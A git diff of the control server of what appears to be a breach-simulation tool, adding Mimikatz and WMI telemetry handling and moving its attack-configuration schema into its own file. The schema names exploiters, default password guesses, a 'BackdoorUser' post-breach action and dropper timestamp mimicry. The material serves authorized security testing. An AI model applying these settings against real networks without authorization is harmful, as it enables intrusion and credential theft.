@ -1,7 +1,6 @@
import urllib2
import cc.auth import cc.auth
from cc.environment import Environment from cc.environment import Environment
from common.cloud.aws import AWS
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
@ -13,7 +12,7 @@ class AwsEnvironment(Environment):
@staticmethod @staticmethod
def _get_instance_id(): def _get_instance_id():
return urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read() return AWS.get_instance_id()
def is_auth_enabled(self): def is_auth_enabled(self):
return True return True

View File

@ -27,7 +27,7 @@
}, },
"root": { "root": {
"level": "INFO", "level": "DEBUG",
"handlers": ["console", "info_file_handler"] "handlers": ["console", "info_file_handler"]
} }
} }

View File

@ -1,6 +1,7 @@
from __future__ import print_function # In python 2.7 from __future__ import print_function # In python 2.7
import os import os
import os.path
import sys import sys
import time import time
import logging import logging
@ -12,7 +13,8 @@ if BASE_PATH not in sys.path:
from cc.island_logger import json_setup_logging from cc.island_logger import json_setup_logging
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top. # This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
json_setup_logging(default_path='.\\monkey_island\\cc\\island_logger_default_config.json', default_level=logging.DEBUG) json_setup_logging(default_path=os.path.join(BASE_PATH, 'cc', 'island_logger_default_config.json'),
default_level=logging.DEBUG)
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
from cc.app import init_app from cc.app import init_app

View File

@ -1,7 +1,7 @@
import json import json
import flask_restful import flask_restful
from flask import request, jsonify from flask import request, jsonify, abort
from cc.auth import jwt_required from cc.auth import jwt_required
from cc.services.config import ConfigService from cc.services.config import ConfigService
@ -20,5 +20,6 @@ class MonkeyConfiguration(flask_restful.Resource):
if 'reset' in config_json: if 'reset' in config_json:
ConfigService.reset_config() ConfigService.reset_config()
else: else:
ConfigService.update_config(config_json, should_encrypt=True) if not ConfigService.update_config(config_json, should_encrypt=True):
abort(400)
return self.get() return self.get()

View File

@ -1,6 +1,5 @@
import json import json
import logging import logging
import traceback
import copy import copy
from datetime import datetime from datetime import datetime
@ -10,10 +9,12 @@ from flask import request
from cc.auth import jwt_required from cc.auth import jwt_required
from cc.database import mongo from cc.database import mongo
from cc.services import mimikatz_utils
from cc.services.config import ConfigService from cc.services.config import ConfigService
from cc.services.edge import EdgeService from cc.services.edge import EdgeService
from cc.services.node import NodeService from cc.services.node import NodeService
from cc.encryptor import encryptor from cc.encryptor import encryptor
from cc.services.wmi_handler import WMIHandler
__author__ = 'Barak' __author__ = 'Barak'
@ -170,6 +171,8 @@ class Telemetry(flask_restful.Resource):
@staticmethod @staticmethod
def process_system_info_telemetry(telemetry_json): def process_system_info_telemetry(telemetry_json):
users_secrets = {}
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id')
if 'ssh_info' in telemetry_json['data']: if 'ssh_info' in telemetry_json['data']:
ssh_info = telemetry_json['data']['ssh_info'] ssh_info = telemetry_json['data']['ssh_info']
Telemetry.encrypt_system_info_ssh_keys(ssh_info) Telemetry.encrypt_system_info_ssh_keys(ssh_info)
@ -182,6 +185,12 @@ class Telemetry(flask_restful.Resource):
Telemetry.encrypt_system_info_creds(creds) Telemetry.encrypt_system_info_creds(creds)
Telemetry.add_system_info_creds_to_config(creds) Telemetry.add_system_info_creds_to_config(creds)
Telemetry.replace_user_dot_with_comma(creds) Telemetry.replace_user_dot_with_comma(creds)
if 'mimikatz' in telemetry_json['data']:
users_secrets = mimikatz_utils.MimikatzSecrets.\
extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', ''))
if 'wmi' in telemetry_json['data']:
wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets)
wmi_handler.process_and_handle_wmi_info()
@staticmethod @staticmethod
def add_ip_to_ssh_keys(ip, ssh_info): def add_ip_to_ssh_keys(ip, ssh_info):

View File

@ -9,874 +9,13 @@ from cc.database import mongo
from cc.encryptor import encryptor from cc.encryptor import encryptor
from cc.environment.environment import env from cc.environment.environment import env
from cc.utils import local_ip_addresses from cc.utils import local_ip_addresses
from config_schema import SCHEMA
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
WARNING_SIGN = u" \u26A0"
SCHEMA = {
"title": "Monkey",
"type": "object",
"definitions": {
"exploiter_classes": {
"title": "Exploit class",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"SmbExploiter"
],
"title": "SMB Exploiter"
},
{
"type": "string",
"enum": [
"WmiExploiter"
],
"title": "WMI Exploiter"
},
{
"type": "string",
"enum": [
"MSSQLExploiter"
],
"title": "MSSQL Exploiter"
},
{
"type": "string",
"enum": [
"RdpExploiter"
],
"title": "RDP Exploiter (UNSAFE)"
},
{
"type": "string",
"enum": [
"Ms08_067_Exploiter"
],
"title": "MS08-067 Exploiter (UNSAFE)"
},
{
"type": "string",
"enum": [
"SSHExploiter"
],
"title": "SSH Exploiter"
},
{
"type": "string",
"enum": [
"ShellShockExploiter"
],
"title": "ShellShock Exploiter"
},
{
"type": "string",
"enum": [
"SambaCryExploiter"
],
"title": "SambaCry Exploiter"
},
{
"type": "string",
"enum": [
"ElasticGroovyExploiter"
],
"title": "ElasticGroovy Exploiter"
},
{
"type": "string",
"enum": [
"Struts2Exploiter"
],
"title": "Struts2 Exploiter"
},
{
"type": "string",
"enum": [
"WebLogicExploiter"
],
"title": "Oracle Web Logic Exploiter"
},
{
"type": "string",
"enum": [
"HadoopExploiter"
],
"title": "Hadoop/Yarn Exploiter"
}
]
},
"finger_classes": {
"title": "Fingerprint class",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"SMBFinger"
],
"title": "SMBFinger"
},
{
"type": "string",
"enum": [
"SSHFinger"
],
"title": "SSHFinger"
},
{
"type": "string",
"enum": [
"PingScanner"
],
"title": "PingScanner"
},
{
"type": "string",
"enum": [
"HTTPFinger"
],
"title": "HTTPFinger"
},
{
"type": "string",
"enum": [
"MySQLFinger"
],
"title": "MySQLFinger"
},
{
"type": "string",
"enum": [
"MSSQLFinger"
],
"title": "MSSQLFinger"
},
{
"type": "string",
"enum": [
"ElasticFinger"
],
"title": "ElasticFinger"
}
]
}
},
"properties": {
"basic": {
"title": "Basic - Credentials",
"type": "object",
"properties": {
"credentials": {
"title": "Credentials",
"type": "object",
"properties": {
"exploit_user_list": {
"title": "Exploit user list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"Administrator",
"root",
"user"
],
"description": "List of usernames to use on exploits using credentials"
},
"exploit_password_list": {
"title": "Exploit password list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"Password1!",
"1234",
"password",
"12345678"
],
"description": "List of password to use on exploits using credentials"
}
}
}
}
},
"basic_network": {
"title": "Basic - Network",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"blocked_ips": {
"title": "Blocked IPs",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description": "List of IPs to not scan"
},
"local_network_scan": {
"title": "Local network scan",
"type": "boolean",
"default": True,
"description": "Determines whether the monkey should scan its subnets additionally"
},
"depth": {
"title": "Distance from island",
"type": "integer",
"default": 2,
"description":
"Amount of hops allowed for the monkey to spread from the island. "
+ WARNING_SIGN
+ " Note that setting this value too high may result in the monkey propagating too far"
},
"subnet_scan_list": {
"title": "Scan IP/subnet list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description":
"List of IPs/subnets the monkey should scan."
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
}
}
},
"network_analysis": {
"title": "Network Analysis",
"type": "object",
"properties": {
"inaccessible_subnets": {
"title": "Network segmentation testing",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description":
"Test for network segmentation by providing a list of"
" subnets that should NOT be accessible to each other."
" For example, given the following configuration:"
" '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'"
" a Monkey running on 10.0.0.5 will try to access machines in the following"
" subnets: 11.0.0.2/32, 12.2.3.0/24."
" An alert on successful connections will be shown in the report"
" Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5"
}
}
}
}
},
"monkey": {
"title": "Monkey",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"alive": {
"title": "Alive",
"type": "boolean",
"default": True,
"description": "Is the monkey alive"
}
}
},
"behaviour": {
"title": "Behaviour",
"type": "object",
"properties": {
"self_delete_in_cleanup": {
"title": "Self delete on cleanup",
"type": "boolean",
"default": False,
"description": "Should the monkey delete its executable when going down"
},
"use_file_logging": {
"title": "Use file logging",
"type": "boolean",
"default": True,
"description": "Should the monkey dump to a log file"
},
"serialize_config": {
"title": "Serialize config",
"type": "boolean",
"default": False,
"description": "Should the monkey dump its config on startup"
}
}
},
"system_info": {
"title": "System info",
"type": "object",
"properties": {
"extract_azure_creds": {
"title": "Harvest Azure Credentials",
"type": "boolean",
"default": True,
"description":
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
},
"collect_system_info": {
"title": "Collect system info",
"type": "boolean",
"default": True,
"description": "Determines whether to collect system info"
},
"should_use_mimikatz": {
"title": "Should use Mimikatz",
"type": "boolean",
"default": True,
"description": "Determines whether to use Mimikatz"
},
}
},
"life_cycle": {
"title": "Life cycle",
"type": "object",
"properties": {
"max_iterations": {
"title": "Max iterations",
"type": "integer",
"default": 1,
"description": "Determines how many iterations of the monkey's full lifecycle should occur"
},
"victims_max_find": {
"title": "Max victims to find",
"type": "integer",
"default": 30,
"description": "Determines the maximum number of machines the monkey is allowed to scan"
},
"victims_max_exploit": {
"title": "Max victims to exploit",
"type": "integer",
"default": 7,
"description":
"Determines the maximum number of machines the monkey"
" is allowed to successfully exploit. " + WARNING_SIGN
+ " Note that setting this value too high may result in the monkey propagating to "
"a high number of machines"
},
"timeout_between_iterations": {
"title": "Wait time between iterations",
"type": "integer",
"default": 100,
"description":
"Determines for how long (in seconds) should the monkey wait between iterations"
},
"retry_failed_explotation": {
"title": "Retry failed exploitation",
"type": "boolean",
"default": True,
"description":
"Determines whether the monkey should retry exploiting machines"
" it didn't successfuly exploit on previous iterations"
}
}
}
}
},
"internal": {
"title": "Internal",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"singleton_mutex_name": {
"title": "Singleton mutex name",
"type": "string",
"default": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"description":
"The name of the mutex used to determine whether the monkey is already running"
},
"keep_tunnel_open_time": {
"title": "Keep tunnel open time",
"type": "integer",
"default": 60,
"description": "Time to keep tunnel open before going down after last exploit (in seconds)"
}
}
},
"classes": {
"title": "Classes",
"type": "object",
"properties": {
"scanner_class": {
"title": "Scanner class",
"type": "string",
"default": "TcpScanner",
"enum": [
"TcpScanner"
],
"enumNames": [
"TcpScanner"
],
"description": "Determines class to scan for machines. (Shouldn't be changed)"
},
"finger_classes": {
"title": "Fingerprint classes",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/finger_classes"
},
"default": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
],
"description": "Determines which classes to use for fingerprinting"
}
}
},
"kill_file": {
"title": "Kill file",
"type": "object",
"properties": {
"kill_file_path_windows": {
"title": "Kill file path on Windows",
"type": "string",
"default": "%windir%\\monkey.not",
"description": "Path of file which kills monkey if it exists (on Windows)"
},
"kill_file_path_linux": {
"title": "Kill file path on Linux",
"type": "string",
"default": "/var/run/monkey.not",
"description": "Path of file which kills monkey if it exists (on Linux)"
}
}
},
"dropper": {
"title": "Dropper",
"type": "object",
"properties": {
"dropper_set_date": {
"title": "Dropper sets date",
"type": "boolean",
"default": True,
"description":
"Determines whether the dropper should set the monkey's file date to be the same as"
" another file"
},
"dropper_date_reference_path_windows": {
"title": "Dropper date reference path (Windows)",
"type": "string",
"default": "%windir%\\system32\\kernel32.dll",
"description":
"Determines which file the dropper should copy the date from if it's configured to do"
" so on Windows (use fullpath)"
},
"dropper_date_reference_path_linux": {
"title": "Dropper date reference path (Linux)",
"type": "string",
"default": "/bin/sh",
"description":
"Determines which file the dropper should copy the date from if it's configured to do"
" so on Linux (use fullpath)"
},
"dropper_target_path_linux": {
"title": "Dropper target path on Linux",
"type": "string",
"default": "/tmp/monkey",
"description": "Determines where should the dropper place the monkey on a Linux machine"
},
"dropper_target_path_win_32": {
"title": "Dropper target path on Windows (32bit)",
"type": "string",
"default": "C:\\Windows\\monkey32.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(32bit)"
},
"dropper_target_path_win_64": {
"title": "Dropper target path on Windows (64bit)",
"type": "string",
"default": "C:\\Windows\\monkey64.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(64 bit)"
},
"dropper_try_move_first": {
"title": "Try to move first",
"type": "boolean",
"default": True,
"description":
"Determines whether the dropper should try to move itsel instead of copying itself"
" to target path"
}
}
},
"logging": {
"title": "Logging",
"type": "object",
"properties": {
"dropper_log_path_linux": {
"title": "Dropper log file path on Linux",
"type": "string",
"default": "/tmp/user-1562",
"description": "The fullpath of the dropper log file on Linux"
},
"dropper_log_path_windows": {
"title": "Dropper log file path on Windows",
"type": "string",
"default": "%temp%\\~df1562.tmp",
"description": "The fullpath of the dropper log file on Windows"
},
"monkey_log_path_linux": {
"title": "Monkey log file path on Linux",
"type": "string",
"default": "/tmp/user-1563",
"description": "The fullpath of the monkey log file on Linux"
},
"monkey_log_path_windows": {
"title": "Monkey log file path on Windows",
"type": "string",
"default": "%temp%\\~df1563.tmp",
"description": "The fullpath of the monkey log file on Windows"
},
"send_log_to_server": {
"title": "Send log to server",
"type": "boolean",
"default": True,
"description": "Determines whether the monkey sends its log to the Monkey Island server"
}
}
},
"exploits": {
"title": "Exploits",
"type": "object",
"properties": {
"exploit_lm_hash_list": {
"title": "Exploit LM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of LM hashes to use on exploits using credentials"
},
"exploit_ntlm_hash_list": {
"title": "Exploit NTLM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of NTLM hashes to use on exploits using credentials"
},
"exploit_ssh_keys": {
"title": "SSH key pairs list",
"type": "array",
"uniqueItems": True,
"default": [],
"items": {
"type": "string"
},
"description": "List of SSH key pairs to use, when trying to ssh into servers"
}
}
}
}
},
"cnc": {
"title": "Monkey Island",
"type": "object",
"properties": {
"servers": {
"title": "Servers",
"type": "object",
"properties": {
"command_servers": {
"title": "Command servers",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"192.0.2.0:5000"
],
"description": "List of command servers to try and communicate with (format is <ip>:<port>)"
},
"internet_services": {
"title": "Internet services",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"monkey.guardicore.com",
"www.google.com"
],
"description":
"List of internet services to try and communicate with to determine internet"
" connectivity (use either ip or domain)"
},
"current_server": {
"title": "Current server",
"type": "string",
"default": "192.0.2.0:5000",
"description": "The current command server the monkey is communicating with"
}
}
}
}
},
"exploits": {
"title": "Exploits",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"exploiter_classes": {
"title": "Exploits",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/exploiter_classes"
},
"default": [
"SmbExploiter",
"WmiExploiter",
"MSSQLExploiter",
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter"
],
"description":
"Determines which exploits to use. " + WARNING_SIGN
+ " Note that using unsafe exploits may cause crashes of the exploited machine/service"
},
"skip_exploit_if_file_exist": {
"title": "Skip exploit if file exists",
"type": "boolean",
"default": False,
"description": "Determines whether the monkey should skip the exploit if the monkey's file"
" is already on the remote machine"
}
}
},
"ms08_067": {
"title": "MS08_067",
"type": "object",
"properties": {
"ms08_067_exploit_attempts": {
"title": "MS08_067 exploit attempts",
"type": "integer",
"default": 5,
"description": "Number of attempts to exploit using MS08_067"
},
"ms08_067_remote_user_add": {
"title": "MS08_067 remote user",
"type": "string",
"default": "Monkey_IUSER_SUPPORT",
"description": "Username to add on successful exploit"
},
"ms08_067_remote_user_pass": {
"title": "MS08_067 remote user password",
"type": "string",
"default": "Password1!",
"description": "Password to use for created user"
}
}
},
"rdp_grinder": {
"title": "RDP grinder",
"type": "object",
"properties": {
"rdp_use_vbs_download": {
"title": "Use VBS download",
"type": "boolean",
"default": True,
"description": "Determines whether to use VBS or BITS to download monkey to remote machine"
" (true=VBS, false=BITS)"
}
}
},
"sambacry": {
"title": "SambaCry",
"type": "object",
"properties": {
"sambacry_trigger_timeout": {
"title": "SambaCry trigger timeout",
"type": "integer",
"default": 5,
"description": "Timeout (in seconds) of SambaCry trigger"
},
"sambacry_folder_paths_to_guess": {
"title": "SambaCry folder paths to guess",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
'/',
'/mnt',
'/tmp',
'/storage',
'/export',
'/share',
'/shares',
'/home'
],
"description": "List of full paths to share folder for SambaCry to guess"
},
"sambacry_shares_not_to_check": {
"title": "SambaCry shares not to check",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"IPC$", "print$"
],
"description": "These shares won't be checked when exploiting with SambaCry"
}
}
},
"smb_service": {
"title": "SMB service",
"type": "object",
"properties": {
"smb_download_timeout": {
"title": "SMB download timeout",
"type": "integer",
"default": 300,
"description":
"Timeout (in seconds) for SMB download operation (used in various exploits using SMB)"
},
"smb_service_name": {
"title": "SMB service name",
"type": "string",
"default": "InfectionMonkey",
"description": "Name of the SMB service that will be set up to download monkey"
}
}
}
}
},
"network": {
"title": "Network",
"type": "object",
"properties": {
"tcp_scanner": {
"title": "TCP scanner",
"type": "object",
"properties": {
"HTTP_PORTS": {
"title": "HTTP ports",
"type": "array",
"uniqueItems": True,
"items": {
"type": "integer"
},
"default": [
80,
8080,
443,
8008,
7001
],
"description": "List of ports the monkey will check if are being used for HTTP"
},
"tcp_target_ports": {
"title": "TCP target ports",
"type": "array",
"uniqueItems": True,
"items": {
"type": "integer"
},
"default": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
],
"description": "List of TCP ports the monkey will check whether they're open"
},
"tcp_scan_interval": {
"title": "TCP scan interval",
"type": "integer",
"default": 200,
"description": "Time to sleep (in milliseconds) between scans"
},
"tcp_scan_timeout": {
"title": "TCP scan timeout",
"type": "integer",
"default": 3000,
"description": "Maximum time (in milliseconds) to wait for TCP response"
},
"tcp_scan_get_banner": {
"title": "TCP scan - get banner",
"type": "boolean",
"default": True,
"description": "Determines whether the TCP scan should try to get the banner"
}
}
},
"ping_scanner": {
"title": "Ping scanner",
"type": "object",
"properties": {
"ping_scan_timeout": {
"title": "Ping scan timeout",
"type": "integer",
"default": 1000,
"description": "Maximum time (in milliseconds) to wait for ping response"
}
}
}
}
}
},
"options": {
"collapsed": True
}
}
# This should be used for config values of array type (array of strings only)
ENCRYPTED_CONFIG_ARRAYS = \ ENCRYPTED_CONFIG_ARRAYS = \
[ [
['basic', 'credentials', 'exploit_password_list'], ['basic', 'credentials', 'exploit_password_list'],
@ -885,6 +24,12 @@ ENCRYPTED_CONFIG_ARRAYS = \
['internal', 'exploits', 'exploit_ssh_keys'] ['internal', 'exploits', 'exploit_ssh_keys']
] ]
# This should be used for config values of string type
ENCRYPTED_CONFIG_STRINGS = \
[
]
class ConfigService: class ConfigService:
default_config = None default_config = None
@ -921,8 +66,11 @@ class ConfigService:
config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}, {config_key: 1}) config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}, {config_key: 1})
for config_key_part in config_key_as_arr: for config_key_part in config_key_as_arr:
config = config[config_key_part] config = config[config_key_part]
if should_decrypt and (config_key_as_arr in ENCRYPTED_CONFIG_ARRAYS): if should_decrypt:
if config_key_as_arr in ENCRYPTED_CONFIG_ARRAYS:
config = [encryptor.dec(x) for x in config] config = [encryptor.dec(x) for x in config]
elif config_key_as_arr in ENCRYPTED_CONFIG_STRINGS:
config = encryptor.dec(config)
return config return config
@staticmethod @staticmethod
@ -985,9 +133,14 @@ class ConfigService:
@staticmethod @staticmethod
def update_config(config_json, should_encrypt): def update_config(config_json, should_encrypt):
if should_encrypt: if should_encrypt:
try:
ConfigService.encrypt_config(config_json) ConfigService.encrypt_config(config_json)
except KeyError as e:
logger.error('Bad configuration file was submitted.')
return False
mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
logger.info('monkey config was updated') logger.info('monkey config was updated')
return True
@staticmethod @staticmethod
def init_default_config(): def init_default_config():
@ -1074,7 +227,7 @@ class ConfigService:
""" """
Same as decrypt_config but for a flat configuration Same as decrypt_config but for a flat configuration
""" """
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS] keys = [config_arr_as_array[2] for config_arr_as_array in (ENCRYPTED_CONFIG_ARRAYS + ENCRYPTED_CONFIG_STRINGS)]
for key in keys: for key in keys:
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types): if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types):
# Check if we are decrypting ssh key pair # Check if we are decrypting ssh key pair
@ -1088,11 +241,16 @@ class ConfigService:
@staticmethod @staticmethod
def _encrypt_or_decrypt_config(config, is_decrypt=False): def _encrypt_or_decrypt_config(config, is_decrypt=False):
for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS: for config_arr_as_array in (ENCRYPTED_CONFIG_ARRAYS + ENCRYPTED_CONFIG_STRINGS):
config_arr = config config_arr = config
parent_config_arr = None
# Because the config isn't flat, this for-loop gets the actual config value out of the config
for config_key_part in config_arr_as_array: for config_key_part in config_arr_as_array:
parent_config_arr = config_arr
config_arr = config_arr[config_key_part] config_arr = config_arr[config_key_part]
if isinstance(config_arr, collections.Sequence) and not isinstance(config_arr, string_types):
for i in range(len(config_arr)): for i in range(len(config_arr)):
# Check if array of shh key pairs and then decrypt # Check if array of shh key pairs and then decrypt
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]: if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
@ -1100,6 +258,9 @@ class ConfigService:
ConfigService.decrypt_ssh_key_pair(config_arr[i], True) ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
else: else:
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i]) config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
else:
parent_config_arr[config_arr_as_array[-1]] =\
encryptor.dec(config_arr) if is_decrypt else encryptor.enc(config_arr)
@staticmethod @staticmethod
def decrypt_ssh_key_pair(pair, encrypt=False): def decrypt_ssh_key_pair(pair, encrypt=False):

View File

@ -0,0 +1,880 @@
WARNING_SIGN = u" \u26A0"
SCHEMA = {
"title": "Monkey",
"type": "object",
"definitions": {
"exploiter_classes": {
"title": "Exploit class",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"SmbExploiter"
],
"title": "SMB Exploiter"
},
{
"type": "string",
"enum": [
"WmiExploiter"
],
"title": "WMI Exploiter"
},
{
"type": "string",
"enum": [
"RdpExploiter"
],
"title": "RDP Exploiter (UNSAFE)"
},
{
"type": "string",
"enum": [
"Ms08_067_Exploiter"
],
"title": "MS08-067 Exploiter (UNSAFE)"
},
{
"type": "string",
"enum": [
"SSHExploiter"
],
"title": "SSH Exploiter"
},
{
"type": "string",
"enum": [
"ShellShockExploiter"
],
"title": "ShellShock Exploiter"
},
{
"type": "string",
"enum": [
"SambaCryExploiter"
],
"title": "SambaCry Exploiter"
},
{
"type": "string",
"enum": [
"ElasticGroovyExploiter"
],
"title": "ElasticGroovy Exploiter"
},
{
"type": "string",
"enum": [
"Struts2Exploiter"
],
"title": "Struts2 Exploiter"
},
{
"type": "string",
"enum": [
"WebLogicExploiter"
],
"title": "Oracle Web Logic Exploiter"
},
{
"type": "string",
"enum": [
"HadoopExploiter"
],
"title": "Hadoop/Yarn Exploiter"
}
]
},
"post_breach_acts": {
"title": "Post breach actions",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"BackdoorUser"
],
"title": "Back door user",
},
],
},
"finger_classes": {
"title": "Fingerprint class",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"SMBFinger"
],
"title": "SMBFinger"
},
{
"type": "string",
"enum": [
"SSHFinger"
],
"title": "SSHFinger"
},
{
"type": "string",
"enum": [
"PingScanner"
],
"title": "PingScanner"
},
{
"type": "string",
"enum": [
"HTTPFinger"
],
"title": "HTTPFinger"
},
{
"type": "string",
"enum": [
"MySQLFinger"
],
"title": "MySQLFinger"
},
{
"type": "string",
"enum": [
"MSSQLFinger"
],
"title": "MSSQLFinger"
},
{
"type": "string",
"enum": [
"ElasticFinger"
],
"title": "ElasticFinger"
}
]
}
},
"properties": {
"basic": {
"title": "Basic - Credentials",
"type": "object",
"properties": {
"credentials": {
"title": "Credentials",
"type": "object",
"properties": {
"exploit_user_list": {
"title": "Exploit user list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"Administrator",
"root",
"user"
],
"description": "List of usernames to use on exploits using credentials"
},
"exploit_password_list": {
"title": "Exploit password list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"Password1!",
"1234",
"password",
"12345678"
],
"description": "List of password to use on exploits using credentials"
}
}
}
}
},
"basic_network": {
"title": "Basic - Network",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"blocked_ips": {
"title": "Blocked IPs",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description": "List of IPs to not scan"
},
"local_network_scan": {
"title": "Local network scan",
"type": "boolean",
"default": True,
"description": "Determines whether the monkey should scan its subnets additionally"
},
"depth": {
"title": "Distance from island",
"type": "integer",
"default": 2,
"description":
"Amount of hops allowed for the monkey to spread from the island. "
+ WARNING_SIGN
+ " Note that setting this value too high may result in the monkey propagating too far"
},
"subnet_scan_list": {
"title": "Scan IP/subnet list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description":
"List of IPs/subnets the monkey should scan."
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
}
}
},
"network_analysis": {
"title": "Network Analysis",
"type": "object",
"properties": {
"inaccessible_subnets": {
"title": "Network segmentation testing",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description":
"Test for network segmentation by providing a list of"
" subnets that should NOT be accessible to each other."
" For example, given the following configuration:"
" '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'"
" a Monkey running on 10.0.0.5 will try to access machines in the following"
" subnets: 11.0.0.2/32, 12.2.3.0/24."
" An alert on successful connections will be shown in the report"
" Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5"
}
}
}
}
},
"monkey": {
"title": "Monkey",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"alive": {
"title": "Alive",
"type": "boolean",
"default": True,
"description": "Is the monkey alive"
},
"post_breach_actions": {
"title": "Post breach actions",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/post_breach_acts"
},
"default": [
"BackdoorUser",
],
"description": "List of actions the Monkey will run post breach"
},
}
},
"behaviour": {
"title": "Behaviour",
"type": "object",
"properties": {
"self_delete_in_cleanup": {
"title": "Self delete on cleanup",
"type": "boolean",
"default": False,
"description": "Should the monkey delete its executable when going down"
},
"use_file_logging": {
"title": "Use file logging",
"type": "boolean",
"default": True,
"description": "Should the monkey dump to a log file"
},
"serialize_config": {
"title": "Serialize config",
"type": "boolean",
"default": False,
"description": "Should the monkey dump its config on startup"
}
}
},
"system_info": {
"title": "System info",
"type": "object",
"properties": {
"extract_azure_creds": {
"title": "Harvest Azure Credentials",
"type": "boolean",
"default": True,
"description":
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
},
"collect_system_info": {
"title": "Collect system info",
"type": "boolean",
"default": True,
"description": "Determines whether to collect system info"
},
"should_use_mimikatz": {
"title": "Should use Mimikatz",
"type": "boolean",
"default": True,
"description": "Determines whether to use Mimikatz"
},
}
},
"life_cycle": {
"title": "Life cycle",
"type": "object",
"properties": {
"max_iterations": {
"title": "Max iterations",
"type": "integer",
"default": 1,
"description": "Determines how many iterations of the monkey's full lifecycle should occur"
},
"victims_max_find": {
"title": "Max victims to find",
"type": "integer",
"default": 30,
"description": "Determines the maximum number of machines the monkey is allowed to scan"
},
"victims_max_exploit": {
"title": "Max victims to exploit",
"type": "integer",
"default": 7,
"description":
"Determines the maximum number of machines the monkey"
" is allowed to successfully exploit. " + WARNING_SIGN
+ " Note that setting this value too high may result in the monkey propagating to "
"a high number of machines"
},
"timeout_between_iterations": {
"title": "Wait time between iterations",
"type": "integer",
"default": 100,
"description":
"Determines for how long (in seconds) should the monkey wait between iterations"
},
"retry_failed_explotation": {
"title": "Retry failed exploitation",
"type": "boolean",
"default": True,
"description":
"Determines whether the monkey should retry exploiting machines"
" it didn't successfuly exploit on previous iterations"
}
}
}
}
},
"internal": {
"title": "Internal",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"singleton_mutex_name": {
"title": "Singleton mutex name",
"type": "string",
